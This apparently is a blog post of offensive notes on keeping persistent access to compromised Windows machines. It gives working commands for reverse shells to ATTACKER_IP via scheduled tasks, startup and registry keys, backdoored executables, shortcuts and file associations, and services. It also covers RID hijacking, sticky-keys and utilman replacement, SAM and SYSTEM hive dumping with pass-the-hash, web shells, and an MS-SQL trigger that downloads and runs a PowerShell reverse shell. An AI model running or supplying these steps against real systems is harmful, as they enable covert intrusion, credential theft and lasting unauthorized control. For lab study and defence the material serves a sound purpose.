Windows Persistence

There are many ways to create persistence into a Windows client. Some of these techniques will create reverse shell backdoors that can be connected to with a listener while others allow the attacker to start the connection through RDP or WinRM. Some techniques can only be achieved with Administrator or System privileges. My notes for techniques with and without elevated privileges are listed below.


Without A Privileged Account

Scheduled Tasks

One way to add persistence is by scheduling reverse shell connections with the schtasks command. The line below configures a task to run 1 time every minute: schtasks /create /sc minute /mo 1 /tn [name for task] /tr "[command with options]"

*With SYSTEM privileges: add /ru SYSTEM to run the command with elevated privileges.

An example command for a reverse shell would be: "c:\tools\nc64 -e cmd.exe [ATTACKER_IP] 4444". See more here: schtasks commands.

Check the task with:
schtasks /query /tn [task name]

With administrator privileges: it is possible to make the task invisible by deleting its Security Descriptor. Open the registry editor and delete SD under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[task name].

Logon Exploitation – Startup Folder

Each user has a folder under C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup where you can put executables to be run whenever the user logs in. As usual, the payload will be a reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=4444 -f exe -o revshell.exe

Use a python server and wget to send the payload to the target.

Alternatively, the startup executable can be placed into a shared folder here: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Logon Exploitation – Registry Run

An alternative way to get an executable to run at startup is to configure it in the registry. There are four registry options for this:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    KHCU if for the current user and KHLM is for the local machine.

Generate a payload and upload it to C:\Windows. Then, create a REG_EXPAND_SZ type registry, give it a name, and in data provide the path to the executable.

Logon Exploitation – Winlogon

Winlogon is a registry component that loads a user profile after authentication. Its registry folder is:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

It includes two important executables that must run: explorer.exe and userinit.exe. After either of these executables, we can add our own to force it to be run at startup. Ex: data = C:\Windows\system32\userinit.exe, C:\Windows\revshell.exe

Logon Exploitation – Scripts

While loading the user profile, the executable userinit.exe checks an environmental variable called UserInitMprLogonScript. By default, this variable isn’t set to anything, so we can direct it to our own script.

In registry editor, go to HKCU\Environment and create a REG_EXPAND_SZ type registry with the name UserInitMprLogonScript. Set the value of this entry to your backdoor script.

RID Hijacking

RDP may be limited to administrator accounts only. Therefore, if we can trick a system into believing we are an administrator, we’ll have higher privileges and remote operation in one swoop. We can do this with RID hijacking.

RID is a number associated with each account and is part of a user SID. Admin accounts are represented by an RID of 500 and the RID for any user can be edited in the Windows Registry.

To start, find out a user’s SID, run wmic useraccount get name,sid and look at the number after the last hyphen.

Next, from the folder C:\tools\pstools open the registry with PsExec64.exe -i -s regedit. The -s flag here indicates that PsExec should open the Registry with the SYSTEM account. PsExec is similar to telnet in that it allows remote or local commands to be performed on a machine. It is provides users with strong privileges and is usually not limited.

In the Registry, navigate to HKLM\SAM\SAM\Domains\Account\Users\ and open the folder for your current user. This will be under the hex representation of your SID.

Within that folder, edit the file F, and at line 0030, change the first two values to F4 and 01.

Backdooring Files

This technique involves taking a commonly used executable and implanting a payload within it. To start, have a copy of the executable that we will be adding a backdoor to.

The backdoor will be added with msfvenom. Here is an example of adding a reverse shell to a file:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

Breaking it down:

  • msfvenom -a x64 --platform windows: invoke msfvenom and specify the target architecture and OS
  • -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444: selects the payload and its details
  • -b "\x00": avoids using the character \x00
  • -x putty.exe -k -f exe -o puttyX.exe: uses putty.exe as a template and keeps the original functionality but adds the payload as a new thread

Backdooring Shortcuts

Redirect the target location of a shortcut file to a script that will start a reverse shell and then open the original executable.

Save this PS script:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe

Then point the shortcut to this location: powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 and change the icon.

Hijacking File Associations

We can hijack any file association to force the operating system to run a shell whenever the user opens a specific file type.

In the Registry, go to HKLM\Software\Classes\ and find the ProgID of the desired file type. With this, navigate further in the Registry to HKLM\Software\Classes\[ProgID]\shell\open\command. This entry keeps the default executable to open whenever we open a specific file type.

We can change this to a script instead: powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 %1

Where backdoor.ps1 is:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Backdooring New Service

Create a new service with:

sc.exe create [service name] binPath= "[service location]" start= auto
sc.exe start [service name]

Instead of specifying the location of a binary, binPath can also run a command such as net user Administrator Passwd123 to reset a password.

To generate a different binary with msfvenom, create a payload of the format exe-service:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

Backdooring Existing Service

If possible, it is usually better to modify a stopped existing service as it is harder to detect.

Do this by searching: sc.exe query state=inactive.

Now, replace a service with your own service: sc.exe config [service name] binPath= "[new service location]" start= auto obj= "LocalSystem".

With A Privileged Account

Tampering with Unprivileged Accounts

The activity of privileged accounts is often closely reviewed. It is often best to give another account higher permissions and then create persistence from there. Check what users are connected in the network:
net localgroup users

From a computer with administrator privileges:
net localgroup administrators [user] /add – add an unprivileged user to Administrators group, or
net localgroup "Backup Operators" [user] /add – add to the Backup Operators group, which allows the user to copy the SAM and SYSTEM hives

Also:
net localgroup "Remote Desktop Users" []user /add – add a user to the Remote Desktop Users group, which allows RDP.
net localgroup "Remote Management Users" []user /add – add a user to the Remote Management Users group, which allows WinRM.
NOTE: WinRM vs RDP:

The LocalAccountTokenFilterPolicy strips administrator privileges when logging in remotely. To disable this policy and keep elevated privileges:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Now, from an attacking machine, connect through RDP or Evil-WinRM and download SAM and SYSTEM files:
`evil-winrm -i [ip address] -u [user] -p [password]

At this point, we have our persistence. However, to take it a step farther, we can use our Backup Operator permissions to get system hashes so that we have more users we can log in as.

From WinRM:
reg save hklm\system system.bak
download system.bak
reg save hklm\sam sam.bak
download sam.bak

With SAM.bak and SYSTEM.bak available, we can use secretsdump.py to extract password hashes for all users:
python /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Sometimes, hashes need to be cracked for passwords, but WinRM allows sign-in with hashes:
evil-winrm -i [ip address] -u [user] -H [hash]

Special Privileges and Security Descriptors

The Backup Operators group mentioned earlier is a group that grants members the following two privileges:

  • SeBackupPrivilege: the user can read any file in the system, ignoring any DACL in place.
  • SeRestorePrivilege: the user can write any file in the system, ignoring any DACL in place.

NOTE: a list of all privileges can be found here: Privilege Constants (Winnt.h) – Win32 apps | Microsoft Learn

Instead of adding a user to the Backup Operators group, these privileges can be given directly with secedit. Start by exporting the current configuration:
secedit /export /cfg /config.inf
This is a text file. In it, users can be added directly to the desired permissions.

After a user has been given the desired permissions, use the following commands to push the new security configurations to the system:
secedit /import /cfg config.inf /db config.sdb secedit /configure /db config.sdb /cfg config.inf

Now, instead of adding a user to the “Remote Management Users” group, we will instead edit the PowerShell security descriptor with:
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

This will bring up a window where we can give a user full control over PowerShell.

Remember, the LocalAccountTokenFilterPolicy strips administrator privileges when logging in remotely. To disable this policy and keep elevated privileges:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Now, log in with Win-RM.

With Physical Access or RDP

Hijacking Sticky Keys

After pressing Shift 5 times, Windows will run C:\Windows\System32\sethc.exe. It will do so even at the login screen. If we replace this binary, than we can run an executable at any time by pressing Shift 5 times.

To take ownership over sethc.exe and overwrite it:

  • takeown /f c:\Windows\System32\sethc.exe
  • icacls C:\Windows\System32\sethc.exe /grant Administrator:F
  • copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Hijacking Utilman

Utilman provides Ease of Access options in the lock screen with System privileges. If we replace it with command prompt, we can get a shell from the login window.

To take ownership over utilman.exe and overwrite it:

  • takeown /f c:\Windows\System32\utilman.exe
  • icacls C:\Windows\System32\utilman.exe /grant Administrator:F
  • copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Existing Services

Web Shells

The default Windows web server is IIS. The default webroot location for IIS is C:\inetpub\wwwroot. We will drop a web shell into this location. One possible web shell is here. Make sure to grant everyone full permissions over the web shell icacls [shell] /grant Everyone:F.

Now we can start the reverse shell anytime we want by navigating to the the file location in a browser: [ip]/shell.aspx.

MS-SQL Backdoor

A backdoor can be created with a MS-SQL database. First, we need to enable the xp_cmdshell stored procedure. xp_cmdshell is provided by default in any MS-SQL installation and allows you to run commands directly in the system’s console. It comes disabled by default.

In a new query, run the following:

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

Now that we have opened up the permissions on the stored procedure we want, we will create a trigger that will use the stored procedure. In this example, we’ll enter a database that we know is constantly changing and we’ll make a trigger that fetches and starts a shell from our server anytime a user is added:

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

This will download and run the evilscript.ps1 that we are hosting on port 8000. The contents of the script can be:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

Leave a Comment

Your email address will not be published. Required fields are marked *